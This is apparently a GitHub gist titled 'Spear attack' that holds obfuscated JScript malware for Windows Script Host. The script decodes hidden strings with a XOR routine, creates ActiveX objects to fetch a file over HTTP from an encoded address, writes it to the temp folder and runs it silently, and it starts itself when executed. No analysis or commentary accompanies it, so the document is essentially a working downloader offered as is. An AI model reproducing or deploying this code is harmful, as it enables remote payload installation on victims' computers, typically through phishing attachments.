Skip to content

Instantly share code, notes, and snippets.

@genecyber
Created May 20, 2016 00:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save genecyber/50c295a4a97a1925baca13aa447feece to your computer and use it in GitHub Desktop.
Save genecyber/50c295a4a97a1925baca13aa447feece to your computer and use it in GitHub Desktop.
Spear attack
function UHfIvfG() {
var MabOTGE = [(9), "f", 4][1];
return MabOTGE;
}
function rQAVRn() {
var UdejotRq = [3, "r", 6][1];
return UdejotRq;
}
function agwFZ() {
qnem = "C";
var CnwVQ = [4, qnem, 5][1];
return CnwVQ;
}
function PLKEU() {
var QgIf = (4730, 9803, 5575, 5319, 6853, 5436, 8172, "A");
return QgIf;
}
function Bjrze() {
var Ejerj = (6699, 8416, 7573, 7566, 7840, 5445, 4370, 3328, 5671, "o");
return Ejerj;
}
function FMtKscb() {
var gdML = "c";
return gdML;
}
function DWa() {
var HPZQdtIu = "a";
return HPZQdtIu;
}
function vaXRGWq() {
var kHggxpW = "e";
return kHggxpW;
}
function HaaCy() {
var YcVDma = "h";
return YcVDma;
}
function MPbQO() {
var vhbzUNuB = [
[parseInt][0]
][0];
return vhbzUNuB;
}
function ChrUkt(IaXV) {
var usGNab = [(MPbQO())][0](IaXV);
return usGNab;
}
function Nqe() {
var lIErgT = [FMtKscb() + "h" + DWa() + rQAVRn()];
var LSqGv = [agwFZ() + Bjrze() + "d" + vaXRGWq() + "A" + "t"];
var HqZOsy = lIErgT[0] + LSqGv[0];
return HqZOsy;
}
function LeBDK() {
var gTjJnBq = [FMtKscb() + HaaCy() + DWa() + rQAVRn() + PLKEU() + "t"];
var BrzM = gTjJnBq[0];
return BrzM;
}
function TggTh(OMpFeFIa, FgAXpiY) {
var eegYtRQK = OMpFeFIa[LeBDK()](FgAXpiY);
return eegYtRQK;
}
function sIuiKl(deWN, GJhN) {
var mnfCmT = deWN[Nqe()](GJhN);
return mnfCmT;
}
function rNeIIob(pkM) {
var KBbELKRn = [UHfIvfG(), rQAVRn(), Bjrze(), "m", agwFZ(), "h", DWa(), rQAVRn(), agwFZ(), Bjrze(), "d", vaXRGWq()];
return KBbELKRn[pkM];
}
function csQHdV() {
var TPss = rNeIIob(0) + rNeIIob(1) + rNeIIob(2) + rNeIIob(3) + rNeIIob(4) + rNeIIob(5) + rNeIIob(6) + rNeIIob(7) + rNeIIob(8) + rNeIIob(9) + rNeIIob(10) + rNeIIob(11);
return TPss;
}
function HGH(hmEYSK, QaGOn) {
var rwGyvZ = hmEYSK % QaGOn;
return rwGyvZ;
}
function NNvUv(SkyjQhq, kGOXTN) {
var lKMxX = SkyjQhq ^ kGOXTN;
return lKMxX;
}
function DQWncT(wrZEE) {
var ajLVUnXy = wrZEE / 3;
return ajLVUnXy;
}
function PXnym() {
var IpmJjbbC = "gth";
return IpmJjbbC;
}
function lpHb() {
var tZkRuj = ["l" + vaXRGWq() + "n" + PXnym()][0];
return tZkRuj;
}
function LWfsDMU(EYv) {
var FTTd = EYv + 1;
return FTTd;
}
function ApkV(jbX) {
var LdaxZULX = '';
var KFIWp = 0;
var YruBLtLC = "MmOiOWpS" [lpHb()];
var VJsPDwG = 0;
var zGNzB = "";
var wUicCf = jbX[lpHb()];
while (VJsPDwG < wUicCf - 2) {
var udJPF = [(0)][(0)];
var iqXVl = LWfsDMU(VJsPDwG);
var obkKHzk = TggTh(jbX, iqXVl);
var nJPLf = TggTh(jbX, VJsPDwG + 2);
var UimZAHd = TggTh(jbX, VJsPDwG);
zGNzB = UimZAHd + obkKHzk + nJPLf;
var wIDE = TggTh(jbX, VJsPDwG);
var AAlhOmsz = TggTh(jbX, VJsPDwG + 1);
var mnDqT102 = (AAlhOmsz == 0);
if (wIDE == udJPF) {
var KHTKhBO = VJsPDwG + 1;
var XwTCv = VJsPDwG + 2;
var cHCRT = TggTh(jbX, XwTCv);
zGNzB = TggTh(jbX, KHTKhBO) + cHCRT;
}
var qMMZURsS = TggTh(jbX, VJsPDwG);
var mnDqT101 = (qMMZURsS == 0);
if (mnDqT101 && mnDqT102) {
var RWRoQuKl = VJsPDwG + 2;
zGNzB = TggTh(jbX, RWRoQuKl);
}
KFIWp = ChrUkt('' + zGNzB + '');
var rNnlHE = DQWncT(VJsPDwG);
var tESlXLTO = HGH(rNnlHE, YruBLtLC);
var mnDqT = sIuiKl("MmOiOWpS", tESlXLTO);
KFIWp = NNvUv(KFIWp, mnDqT);
var iQpwGJ = csQHdV();
var RgzF = String;
LdaxZULX = LdaxZULX + RgzF[iQpwGJ](KFIWp);
var KmYIG = 3;
VJsPDwG = VJsPDwG + KmYIG;
}
return LdaxZULX;
}
function CcfumR() {
var NGkjy = "037025059025117120095098122089097088125096094098124095097088127100095055032012016005032052027060044009042027016020002042061025097012055050";
var xGBqkn = ApkV(NGkjy);
return xGBqkn;
}
function YPzdf() {
var rndoa = "026062044027038039004";
var QfCIORz = ApkV(rndoa);
var FtRyO = [1, (eval(QfCIORz)), 2][1];
return FtRyO;
}
function Agt() {
var ualJnk = "000062023036003101094011000033007061027007";
var LIkpJp = ApkV(ualJnk);
return LIkpJp;
}
function XrgxG(rtwjdld, kdkndmd) {}
function ZqzBZSD(tuiyo, fmmd, kemn) {
if (typeof WScript[ApkV("040014039006")] == "unknown") {
tuiyo[ApkV("034029042007")](fmmd, kemn, 0);
}
}
function vFSQSJ(str) {
str[ApkV("014001032026042")]();
}
function QyOU(rety, serq) {
var UVrnikAH = "046000043071042047021115098014111";
var HucfbD = ApkV(UVrnikAH) + rety;
serq[ApkV("063024033")](HucfbD, 0);
}
function TuKmU(ferqw, ertyu) {
var mQhcWK = 0;
ferqw[ApkV("029002060000059062031061")] = mQhcWK;
ferqw[ApkV("030012057012027056054058033008")](ertyu);
}
function EaflXf() {
var LBkYhDQ = Agt();
var rsrZDHJ = YPzdf();
var iqolwpOR = rsrZDHJ[ApkV("030014061000063035054038033001001008034050")];
var FZEBKp = CcfumR();
var lAltd = new ActiveXObject(LBkYhDQ);
var taUhHe = "012041000045013121035039063008046004";
var Zuur = ApkV(taUhHe);
var fBHt = "010040027";
var YYeRhv = ApkV(fBHt);
ZqzBZSD(lAltd, YYeRhv, FZEBKp);
var Vtgqur = "062008033013";
var sRvh = ApkV(Vtgqur);
lAltd[sRvh]();
var HCY = "030014061000063035025061042067009000035050035042062025042004000053026054046025";
var XMICosS = ApkV(HCY);
var EsMXvO = new ActiveXObject(XMICosS);
if (lAltd[ApkV("030025046029058036")] == 200) {
var QjnlhmpZ = new ActiveXObject(Zuur);
var LfMCA = '\\' + EsMXvO[ApkV("010008059061042058000029044000042")]();
var lxGUaUnS = EsMXvO[ApkV("010008059058063050019058044001009006035051021033")](2) + LfMCA;
QjnlhmpZ[ApkV("002029042007")]();
var xpPGzq = "026062044027038039004125030005042005035";
var RliPHX = ApkV(xpPGzq);
QjnlhmpZ[ApkV("025020063012")] = 1;
var ygaJomZ = new ActiveXObject(RliPHX);
var GKttn = lAltd[ApkV("031008060025032057003054015002043016")];
QjnlhmpZ[ApkV("026031038029042")](GKttn);
TuKmU(QjnlhmpZ, lxGUaUnS);
vFSQSJ(QjnlhmpZ);
QyOU(lxGUaUnS, ygaJomZ);
}
XrgxG(EsMXvO, iqolwpOR);
}
try {
if (typeof WScript.BuildVersion == "number") EaflXf();
} catch (bhcCOvg) {}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment